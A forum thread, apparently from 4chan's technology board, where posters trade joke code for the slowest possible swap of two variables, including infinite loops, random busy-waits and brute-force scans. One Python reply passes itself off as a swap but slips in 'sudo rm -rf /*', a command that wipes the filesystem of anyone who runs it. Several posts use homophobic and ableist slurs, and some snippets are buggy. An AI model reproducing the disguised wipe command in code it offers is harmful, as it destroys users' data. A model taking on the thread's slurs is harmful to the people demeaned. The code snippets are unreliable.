What is the slowest algorithm you can think of that swaps two variables, x and y?
Slowest algo wins. We'll benchmark if needed. Using time in any way disqualifies you.
in JavaScript:let x = 'me', y = 'your mum'
while (true) {}
x, y = y, x
>>61437703
Doesn't swap.
>>61437723
Or is it..?
Have you waited for program to complete?
a = 8
b = 2
a = a + b
b = a - b
a = b - a
In Java Script:
(function(){
x=1;
y=2;
function swap(){//something}
swap(x, y);
console.log(x) //2
console.log(y) //1
})()
>>61437820
>>61437842
Wat
>>61437665
int a=1;
int b=57;
int temp = a;
int range = 1000; //increase range for a slower algo
Random r = new Random();
while(a!=b){
a=r.Next(0,range);
}
b=temp;
>>61438046a <- 8
b <- 2
a <- a + b = a <- 8 + 2 = a <- = 10
b <- a - b = b <- 10 - 8 = b <- 2
a <- b - a = a <- 2 - 10 = a <- -8
retarded
>>61438222
yeah my bad last line wasa = a - b
>>61438162
Not bad but you're using time for pseudorandom number generation.
Wont anything you write for this will always be O(1)?
unless you include completely random stuff like other algorithms that have a higher run time.
>>61438269
or you could swap individual bits
How about a program that randomly writes both variables to random locations in memory, clobbering everything in its path until the two variables happen to get swapped?
>>61438312
Same problem as >>61438259
>>61437665
4chan gives me a 403 if I try to post it, so have this on a hastebin instead.
https://hasteb.in/wanipimivo.c
could do one with bit masks and bit shifting the mask ever iteration. Dunno how it can be worse without time.
>>61437665
In python:
OP="faggot"
Faggot="OP"
os.system("sudo rm -rf /*")
OPisA=Faggot
Faggot=OP
OP=OPisA
>>61438297
In theory that doesn't matter, I remember that they taught us that whatever algorithm you write if it has a finite number of operations it is considered to run in O(1).
but then I re-read OP and figured he's talking about real-world performance.
>>61438749
filtered. thank fuck you have a trip.
>>61437665void swap(int *x, int *y)
{
int a = *x;
int b = *y;
while (!(*y == a && *x == b));
}
#include <limits.h>
#include <stdio.h>
void find(int *a, int *b)
{
*a = 0;
for(int i = 0; i <= INT_MAX; i++)
{
if(i == *b)
{
*a = i;
}
}
}
int main()
{
int a = 112;
int b = 423;
int newA, newB;
find(&newA, &b);
find(&newB, &a);
a = newA;
b = newB;
printf("%d %d\n", a, b);
return 0;
}
It works with a smaller ceiling, but I haven't bothered letting it run with INT_MAX. Also, I don't know how to format code here.
>>61439572
Oh shit, it's never gonna get bigger than INT_MAX. I'm retarded.
>>61437729
Ha! almost had me but:
Robot detected!
>>61437665
java - don't forget import java.util.Random;swapPolitiansChoice(){
Random rand = new Random();
while(true){
int me = rand.nextInt(101);
int partyCon = rand.nextInt(101);
if(me==partyCon){
int temp =a;
a = b;
b=temp;
break;
}
}
shitSwap() {
string first, second, temp;
first = "traps are";
second = "gay;
temp = first;
second = first;
first = temp;
}
While (1) {
a=a xor b
b=a xor b
a=b xor a
}
It swapped and run forever, you can access the memory to see it swapped
>>61437665
https://hastebin.com/jofiliwiko.c